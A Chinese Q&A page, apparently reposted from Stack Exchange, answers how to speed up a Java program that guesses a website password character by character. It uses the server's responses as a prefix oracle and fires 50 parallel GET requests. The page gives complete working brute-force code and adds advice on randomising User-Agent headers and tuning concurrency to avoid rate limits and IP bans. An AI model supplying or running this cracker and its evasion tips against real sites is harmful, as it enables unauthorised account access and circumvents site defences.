如何使用并行技术在Java中加速URL GET请求优化密码校验效率
问题原因分析
1. ForkJoin使用逻辑错误
你原来的子任务提交方式是串行执行子任务:
for (Validator t: futures) { ForkJoinTask.invokeAll(t); }
invokeAll方法会阻塞等待传入的任务全部执行完成才返回,你循环单个传入任务,等于执行完第一个子任务才会提交第二个,完全没有并行效果,速度自然和串行版本一致。
2. 并行度不匹配IO密集型场景
ForkJoinPool默认并行度等于CPU核心数,而你的场景是IO密集型(大部分时间在等待网络请求返回),少量线程根本无法跑满带宽,大量CPU时间被浪费在等待上。
3. serialVersionUID的影响
RecursiveAction实现了Serializable接口,不自定义serialVersionUID只会触发编译警告,不会影响运行性能,也不是你速度慢的原因,本地运行场景下可选添加:
private static final long serialVersionUID = 1L;
优化实现方案
- 修正任务提交逻辑:将所有子任务一次性传给
invokeAll,实现真正并行执行 - 调整ForkJoinPool并行度:根据目标站点的限流情况,设置远高于CPU核心数的并行度(推荐30~100,避免触发站点封禁)
- 可选优化HTTP客户端:用Java 11+自带的
HttpClient替代老旧的URLConnection,支持连接池复用,减少TCP握手开销,进一步提升请求速度
优化后代码示例
import java.net.URI; import java.net.URLEncoder; import java.net.http.HttpClient; import java.net.http.HttpRequest; import java.net.http.HttpResponse; import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.concurrent.ForkJoinPool; import java.util.concurrent.RecursiveAction; public class Cracked4 { // 全局复用HttpClient,内置连接池 private static final HttpClient HTTP_CLIENT = HttpClient.newBuilder() .followRedirects(HttpClient.Redirect.NORMAL) .build(); private static final String TEST_URL = "https://example.com?pass="; static class Validator extends RecursiveAction { private static final long serialVersionUID = 1L; private final String password; public Validator(String password) { this.password = password; } @Override protected void compute() { try { if (!valid(password)) { return; } System.out.println("有效前缀:" + password); ArrayList<Validator> subtasks = new ArrayList<>(); for (int i = 33; i < 127; i++) { subtasks.add(new Validator(password + (char) i)); } // 一次性提交所有子任务并行执行 invokeAll(subtasks); } catch (Exception e) { e.printStackTrace(); } } private boolean valid(String s) throws Exception { String encodedPass = URLEncoder.encode(s, StandardCharsets.UTF_8); HttpRequest request = HttpRequest.newBuilder() .uri(URI.create(TEST_URL + encodedPass)) .GET() .build(); HttpResponse<String> response = HTTP_CLIENT.send(request, HttpResponse.BodyHandlers.ofString()); String body = response.body(); if (body.contains("Incorrect password!")) { return false; } if (body.contains("the correct password!")) { System.out.println("找到正确密码:" + s); System.exit(0); } return true; } } public static void main(String[] args) { // 自定义并行度为50,可根据实际情况调整 ForkJoinPool pool = new ForkJoinPool(50); pool.invoke(new Validator("cararra")); } }
注意事项
- 并行度过高可能会触发目标站点的频率限制,甚至IP封禁,建议根据实际响应情况调整并行度大小
- 部分站点可能会对相同User-Agent的请求做限制,可在HTTP请求头中添加随机User-Agent避免被拦截
内容的提问来源于stack exchange,提问作者Krish
相关产品推荐
相关产品推荐

